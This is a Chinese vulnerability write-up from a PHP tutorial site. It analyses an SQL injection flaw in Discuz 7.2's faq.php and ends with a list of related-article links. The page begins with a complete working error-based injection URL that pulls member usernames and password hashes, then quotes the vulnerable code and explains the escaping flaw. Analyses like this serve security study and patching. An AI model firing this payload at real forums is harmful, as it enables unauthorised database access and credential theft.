Discuz7.2版的faq.php SQL注入漏洞分析


Posted in PHP onAugust 06, 2014

注入代码实例:

https://3water.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {
...

        ksort($gids);

        $groupids = array();

        foreach($gids as $row) {

                $groupids[] = $row[0];

        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

        if(!empty($array)) {

                return "'".implode("','", is_array($array) ? $array : array($array))."'";

        } else {

                return '';

        }

}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

PHP 相关文章推荐
PHP中根据IP地址判断城市实现城市切换或跳转代码
Sep 04 PHP
对淘宝URL中ID提取的PHP代码
Sep 01 PHP
php使用exec shell命令注入的方法讲解
Nov 12 PHP
8个PHP程序员常用的功能汇总
Dec 18 PHP
PHP性能分析工具XHProf安装使用教程
May 13 PHP
php去除二维数组的重复项方法
Nov 03 PHP
Zend Framework教程之模型Model用法简单实例
Mar 04 PHP
简单PHP会话(session)说明介绍
Aug 21 PHP
php redis实现对200w用户的即时推送
Mar 04 PHP
PHP命名空间与自动加载类详解
Sep 04 PHP
laravel 数据验证规则详解
Oct 23 PHP
php+laravel 扫码二维码签到功能
May 15 PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
PHP学习笔记(一) 简单了解PHP
Aug 04 #PHP
You might like
PHP中for循环语句的几种变型
2006/11/26 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(三)
2014/06/23 PHP
学习thinkphp5.0验证类使用方法
2017/11/16 PHP
laravel 操作数据库常用函数的返回值方法
2019/10/11 PHP
用原生JavaScript实现jQuery的$.getJSON的解决方法
2013/05/03 Javascript
javascript 模拟坦克大战游戏(html5版)附源码下载
2014/04/08 Javascript
利用JS实现点击按钮后图片自动切换的简单方法
2016/10/24 Javascript
JS双击变input框批量修改内容
2016/12/12 Javascript
jQuery实现拖动剪裁图片作为头像
2016/12/28 Javascript
浅谈js script标签中的预解析
2016/12/30 Javascript
详解angular element()方法使用
2017/04/08 Javascript
全面解析jQuery中的$(window)与$(document)的用法区别
2017/08/15 jQuery
解决iView中时间控件选择的时间总是少一天的问题
2018/03/15 Javascript
JS通过ajax + 多列布局 + 自动加载实现瀑布流效果
2019/05/30 Javascript
vue实现输入框的模糊查询的示例代码(节流函数的应用场景)
2019/09/01 Javascript
过滤器vue.filters的使用方法实现
2019/09/18 Javascript
js判断浏览器的环境(pc端,移动端,还是微信浏览器)
2020/12/24 Javascript
js实现简易拖拽的示例
2020/10/26 Javascript
[52:07]完美世界DOTA2联赛PWL S3 LBZS vs access 第二场 12.10
2020/12/13 DOTA
python模块restful使用方法实例
2013/12/10 Python
Python中字符串的格式化方法小结
2016/05/03 Python
numpy找出array中的最大值,最小值实例
2018/04/03 Python
解决pycharm每次新建项目都要重新安装一些第三方库的问题
2019/01/17 Python
pytorch下使用LSTM神经网络写诗实例
2020/01/14 Python
TensorFlow tensor的拼接实例
2020/01/19 Python
Python提取视频中图片的示例(按帧、按秒)
2020/10/22 Python
Lampegiganten丹麦:欧洲领先的照明网上商店
2018/04/25 全球购物
Charles & Colvard官网:美国莫桑石品牌
2019/06/05 全球购物
瑞士男士时尚网上商店:Babista
2020/05/14 全球购物
"引用"与多态的关系
2013/02/01 面试题
12月红领巾广播稿
2014/02/13 职场文书
志愿者爱心公益活动策划方案
2014/09/15 职场文书
县政协领导班子群众路线教育实践活动四风问题整改方案
2014/10/26 职场文书
2015年机关作风和效能建设工作总结
2015/07/23 职场文书
班组长如何制订适合本班组的工作计划?
2019/07/10 职场文书
Win10系统下配置Java环境变量
2021/06/13 Java/Android